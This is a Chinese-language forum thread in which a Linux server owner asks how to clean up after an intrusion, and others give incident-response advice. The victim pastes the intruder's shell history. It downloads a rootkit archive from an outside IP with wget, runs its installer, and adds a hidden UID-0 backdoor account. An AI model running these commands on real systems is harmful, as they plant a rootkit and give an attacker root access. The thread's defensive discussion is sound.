被黑了，大家帮我看看如何入手清楚

locale

.bash_history中的内容
w
hostname
hostname
uname -a
cat /etc/hosts
cd /tmp
wget 58.241.84.193/rkit.tgz
tar zxvf rkit.tgz
rm -rf rkit.tgz
cd rk
./inst 0745811563 8080 alinus_cj@yahoo.com
useradd -u0 -o -M belmondo
passwd belmondo
cat /etc/passwd

哭了。。。。。

chenyx

断网,删掉安装的程序
修补系统漏洞
不行就需要重装了

locale

原帖由 chenyx 于 2009-5-18 11:15 发表
断网,删掉安装的程序
修补系统漏洞
不行就需要重装了

删掉安装的程序？安装在哪里呢？修补系统，我不知道怎么上来的，怎么修复？重做系统，里面资料太多，重做非常的麻烦，可以不考虑重做，再指点一下我

ipaddr

有History就好办啦。。。反向执行一次就OK了。

看看他是怎么登录进来的，是密码泄露，还是系统有漏洞，，

ipaddr

看了一下这文件，，

netstat, ps, sshd, 都被换过了。。。还做了些清理工作，，比较麻烦了。。

marsaber

最彻底最快的解决办法：备份数据、重做系统！

只爱睡觉

看来是被种了rootkit了，先grep ":x:0:" /etc/passwd
查看下是不是有UID为0的用户，然后进行查找原因。
有history记录方面很多了，实在不行备份系统重新安装。
看history是加了个UID为0的账户。
初步判断被替换的为ps,netstat,sshd

[ 本帖最后由 只爱睡觉 于 2009-5-20 14:56 编辑 ]

platinum

还要结合查看 last、/var/log/messages、u0 的用户的 history 等信息
找出最初是通过什么方法获得 root 权限的，这个最关键

Godbach

看来黑个人电脑的也不少啊。

jerryjzm

你的root用户也给入侵了！？
前两天我们的一个测试服务器就是给入侵了！
我觉得，大家分享一下被别人入侵的迹象和痕迹，大家好攻防啊！那个小黑客，连hacker工具都没删除！我刚好学习学习